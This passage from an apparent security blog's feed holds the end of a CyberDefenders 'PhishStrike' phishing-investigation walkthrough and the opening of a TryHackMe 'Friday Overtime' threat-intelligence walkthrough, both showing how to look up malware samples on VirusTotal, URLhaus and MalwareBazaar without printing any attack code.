&lt;strong&gt;From Base64&lt;/strong&gt; operation to the &lt;strong&gt;Recipe&lt;/strong&gt;. While we could clean this up a bit further, the operation already allows us to see the deobfuscated string showing the delay in execution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/0e71ddafeba18de60fb3c345f0f8e8d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Decoding in CyberChef: &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/2330d6854ede99e8b4c8f78c2610a52f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-tracking-the-command-and-control-c2-domains-used-by-malware-is-essential-for-detecting-and-blocking-malicious-activities-what-is-the-c2-domain-used-by-the-bitratmalware&#34;&gt;Question 10: Tracking the command and control (C2) domains used by malware is essential for detecting and blocking malicious activities. What is the C2 domain used by the BitRAT malware?&#xA;&lt;/h3&gt;&lt;p&gt;After reviewing the network connections on &lt;strong&gt;VirusTotal,&lt;/strong&gt; we might think that we&amp;rsquo;ve already discovered the &lt;strong&gt;command and control (C2)&lt;/strong&gt; URL, but none of the domains that we have uncovered so far fit the format that the question is looking for.&lt;/p&gt;&#xA;&lt;p&gt;For our next steps, let&amp;rsquo;s check if we can find any additional information from the &lt;strong&gt;Community tab&lt;/strong&gt; on the &lt;strong&gt;VirusTotal&lt;/strong&gt; report. After reviewing a couple of the entries, we&amp;rsquo;ll stumble upon a solid lead from the extremely helpful comment below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;411&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/78ba08906f0a507397493e96bcccdacb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To double-confirm that this information is accurate, let&amp;rsquo;s head back over to &lt;strong&gt;URLhaus&lt;/strong&gt; and click the &lt;strong&gt;BitRAT&lt;/strong&gt; link to take us over to &lt;a class=&#34;link&#34; href=&#34;https://bazaar.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MalwareBazaar&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; a malware sample sharing platform for the infosec community, to see what additional threat intelligence may be available from other vendors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;261px&#34; data-flex-grow=&#34;108&#34; height=&#34;734&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/d507f861f1f066c0ba9de73ee3114bb3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On &lt;strong&gt;the MalwareBazaar&lt;/strong&gt; page for the &lt;strong&gt;BitRAT&lt;/strong&gt; sample, scroll down to the &lt;strong&gt;Vendor Threat Intelligence&lt;/strong&gt; section and choose the &lt;strong&gt;Hatching Triage&lt;/strong&gt; entry to see an overview of their findings. Notice anything interesting?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/16a324521fd96c715bbce87f96a557e6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We found corroborating evidence confirming what we found on &lt;strong&gt;VirusTotal&lt;/strong&gt;! Now that we&amp;rsquo;ve double-confirmed our findings, let&amp;rsquo;s submit the answer and move on to the final question of this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1122px&#34; data-flex-grow=&#34;467&#34; height=&#34;171&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/bbf35cba6c82a41a0fd99b8895271603_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-understanding-the-methods-malware-uses-for-exfiltrating-data-is-crucial-for-detecting-and-preventing-data-breaches-according-to-the-asyncrat-analysis-what-is-the-telegram-bot-id-used-by-themalware&#34;&gt;Question 11: Understanding the methods malware uses for exfiltrating data is crucial for detecting and preventing data breaches. According to the AsyncRAT analysis, what is the Telegram Bot ID used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Back to &lt;strong&gt;URLhaus&lt;/strong&gt; again to answer &lt;strong&gt;Question 11&lt;/strong&gt;. Here we&amp;rsquo;ll apply the same process we did in the previous question, this time selecting the &lt;strong&gt;AsyncRAT&lt;/strong&gt; link to view the sample on &lt;strong&gt;MalwareBazaar.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;253px&#34; data-flex-grow=&#34;105&#34; height=&#34;756&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/f8fa8035eaf328eeaeaaa9df73a4e938_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we acquired solid threat intelligence from the &lt;strong&gt;Hatching Triage&lt;/strong&gt; in the last question, let&amp;rsquo;s analyze their full report to extract anything that will help us get closer to the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/243b9f60d85c116e3f35f6f1a206deb2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://tria.ge/221025-mz5tpscdf8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tria.ge/221025-mz5tpscdf8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside of the report, we&amp;rsquo;ll see that the data is collected by both static analysis and behavioral analysis. Let&amp;rsquo;s review the linked &lt;strong&gt;behavioral2 report&lt;/strong&gt; to see the activities in detail, specifically focusing on the &lt;strong&gt;Network&lt;/strong&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;827px&#34; data-flex-grow=&#34;344&#34; height=&#34;232&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/8c8324374c3d9c8e600a173fe4bb6b09_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here we&amp;rsquo;ll discover the final details that we are looking for, the &lt;strong&gt;Telegram Bot ID&lt;/strong&gt; the malware used for data exfiltration.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have successfully leveraged threat intelligence to solve the mystery — let&amp;rsquo;s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;350px&#34; data-flex-grow=&#34;145&#34; height=&#34;548&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/febb9098e06f05da3054a3c9a3b24d79_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From Recorded Future Triage: &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/221025-mz5tpscdf8/behavioral2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tria.ge/221025-mz5tpscdf8/behavioral2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1116px&#34; data-flex-grow=&#34;465&#34; height=&#34;172&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-phishstrike-challenge-walkthrough/6b3a183ac34d3ca1ab9f864e55efc9d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great job! Starting with a single email, we used &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/EmailHeaders.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MXToolBox&lt;/strong&gt;&lt;/a&gt; to learn about the spoofed trusted contact and found a suspicious URL within the body of the email. Using &lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;URLhaus&lt;/strong&gt;&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Virus Total&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; we collected threat intelligence about the three different malware samples delivered by the malicious server to understand their behaviors. Finally, we leveraged additional, external reports about the malware to uncover how data might have been exfiltrated. With the objectives completed, we have all the information we need to help keep the institution safe from this threat. Let&amp;rsquo;s close the book on the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PhishStrike&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, for another engaging and realistic lab scenario. This one was exceptionally fun. I always enjoy a challenge that starts with a single artifact and leads through a sprawling investigation that requires deep dives into external research. In the real world, when time is of the essence, it&amp;rsquo;s important to be able to obtain insights for previously observed threats using platforms like &lt;strong&gt;VirusTotal&lt;/strong&gt; and &lt;strong&gt;URLhaus&lt;/strong&gt; to quickly identify, understand, and remediate a threat. Practicing in a lab environment is time well spent to prepare. I hope you found this walkthrough insightful too!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MxToolBox Supertool Email Header Analyzer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://mxtoolbox.com/EmailHeaders.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://mxtoolbox.com/EmailHeaders.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mailtrap Email Headers:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://mailtrap.io/blog/email-headers/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://mailtrap.io/blog/email-headers/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;URLhaus:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://urlhaus.abuse.ch/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Boot of Logon Autostart Execution: Registry Run Keys / Startup Folder ( T1547.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1547/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MalwareBazaar:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://bazaar.abuse.ch/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://bazaar.abuse.ch/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recorded Future Triage Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tria.ge/221025-mz5tpscdf8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tria.ge/221025-mz5tpscdf8&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Friday Overtime Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/</link>
            <pubDate>Mon, 09 Dec 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/51fdda019110e68a8a55a3295524706d_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Friday Overtime Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmefriday-overtime-challenge-walkthrough&#34;&gt;TryHackMe — Friday Overtime Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-cyber-threat-intelligence-challenge-using-docintel-virus-total-mitre-attck-cyberchef-andgoogle&#34;&gt;A Cyber Threat Intelligence Challenge Using DocIntel, Virus Total, MITRE ATT&amp;amp;CK, CyberChef, and Google&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;51fdda019110e68a8a55a3295524706d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;480&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/51fdda019110e68a8a55a3295524706d_MD5.png&#34; width=&#34;480&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/fridayovertime&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/fridayovertime&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you’ve stumbled across this blog searching for a comprehensive write-up of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/fridayovertime&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Friday Overtime&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we’re stepping into the world of &lt;strong&gt;Cyber Threat Intelligence&lt;/strong&gt; to analyze a malware sample submission that we received through the &lt;a class=&#34;link&#34; href=&#34;https://docintel.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DocIntel&lt;/strong&gt;&lt;/a&gt; threat intelligence platform. Our objective is to gather intelligence on this sample, identify what malware family it’s a part of, understand its functionality, and determine what external destinations it contacts. This information will help us create a detailed report for our fictional customer so that we can head into the weekend. To achieve this, we’ll explore resources like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;, and external reports from &lt;strong&gt;Google&lt;/strong&gt; to fully grasp the malware’s capabilities.&lt;/p&gt;&#xA;&lt;p&gt;The real value of this challenge comes from the research process and becoming adept at collecting threat intelligence from existing reports. With that in mind, I won’t be revealing the answers to the questions in this writeup. Don’t let that deter you — the approach I took isn’t the only one. You’ve got this. Happy hunting!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;! Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/fridayovertime&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/fridayovertime&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Hello Busy Weekend. . .&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;It’s a Friday evening at PandaProbe Intelligence when a notification appears on your CTI platform. While most are already looking forward to the weekend, you realise you must pull overtime because SwiftSpend Finance has opened a new ticket, raising concerns about potential malware threats. The finance company, known for its meticulous security measures, stumbled upon something suspicious and wanted immediate expert analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As the only remaining CTI Analyst on shift at PandaProbe Intelligence, you quickly took charge of the situation, realising the gravity of a potential breach at a financial institution. The ticket contained multiple file attachments, presumed to be malware samples.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;With a deep breath, a focused mind, and the longing desire to go home, you began the process of:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Downloading the malware samples provided in the ticket, ensuring they were contained in a secure environment.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Running the samples through preliminary automated malware analysis tools to get a quick overview.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Deep diving into a manual analysis, understanding the malware’s behaviour, and identifying its communication patterns.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Correlating findings with global threat intelligence databases to identify known signatures or behaviours.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Compiling a comprehensive report with mitigation and recovery steps, ensuring SwiftSpend Finance could swiftly address potential threats.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-who-shared-the-malwaresamples&#34;&gt;Question 1: Who shared the malware samples?&#xA;&lt;/h3&gt;&lt;p&gt;First thing’s first, let’s login to the &lt;a class=&#34;link&#34; href=&#34;https://docintel.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DocIntel&lt;/strong&gt;&lt;/a&gt; portal using the credentials supplied in the challenge’s instructions. &lt;strong&gt;DocIntel&lt;/strong&gt; is an open-source threat intelligence platform for information sharing where we’ll find the request ticket and download the included malware samples.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;af7dab83555225612665f50ece8bd2c7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;382&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/af7dab83555225612665f50ece8bd2c7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we’ll just need to open the ticket, read the request, and check the sign-off signature to find who sent it in.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;123d1550d1703ee784de8d094e3668fc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/123d1550d1703ee784de8d094e3668fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;31c0c5286c0df8da352cab11206b5436_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2742px&#34; data-flex-grow=&#34;1142&#34; height=&#34;70&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/31c0c5286c0df8da352cab11206b5436_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-sha1-hash-of-the-file-prsmdll-inside-sampleszip&#34;&gt;Question 2: What is the SHA1 hash of the file “pRsm.dll” inside samples.zip?&#xA;&lt;/h3&gt;&lt;p&gt;Next, let’s download the attachment, &lt;strong&gt;samples.zip,&lt;/strong&gt; from the files section on the right side of ticket and extract the files within the archive. To do this, we’ll need the password provided in the ticket details. Once the files are extracted, we can get the &lt;strong&gt;SHA1 hash&lt;/strong&gt; of &lt;strong&gt;pRsm.dl&lt;/strong&gt;l directly from the terminal using the below command:&lt;/p&gt;&#xA;&lt;p&gt;sha1sum /home/ericatracy/Downloads/pRsm.dll&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6c0e05651e581006d50e4d128bb93d35_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/6c0e05651e581006d50e4d128bb93d35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d34d2d3c2bafad501fcdd834b6d32e5d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2742px&#34; data-flex-grow=&#34;1142&#34; height=&#34;70&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/d34d2d3c2bafad501fcdd834b6d32e5d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-which-malware-framework-utilizes-these-dlls-as-add-onmodules&#34;&gt;Question 3: Which malware framework utilizes these DLLs as add-on modules?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have a file hash to work with, let’s pivot over to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and check if this sample has been analyzed on the platform before and see what additional intelligence we can collect about it.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately for us, this sample has been seen before and there are a high number of hits. To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we’ll focus on the &lt;strong&gt;threat / family labels&lt;/strong&gt; to find the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;76559e7f6dbbdcb0e09cfd52f2049ad4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/76559e7f6dbbdcb0e09cfd52f2049ad4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;166fc8cded004c7179118b94fd80d854_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-friday-overtime-challenge-walkthrough/166fc8cded004c7179118b94fd80d854_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-mitre-attck-technique-is-linked-to-using-prsmdll-in-this-malware-framework&#34;&gt;Question 4: Which MITRE ATT&amp;amp;CK Technique is linked to using pRsm.dll in this malware framework?&#xA;&lt;/h3&gt;&lt;p&gt;If you’re unfamiliar, &lt;a class=&#34;link&#34; 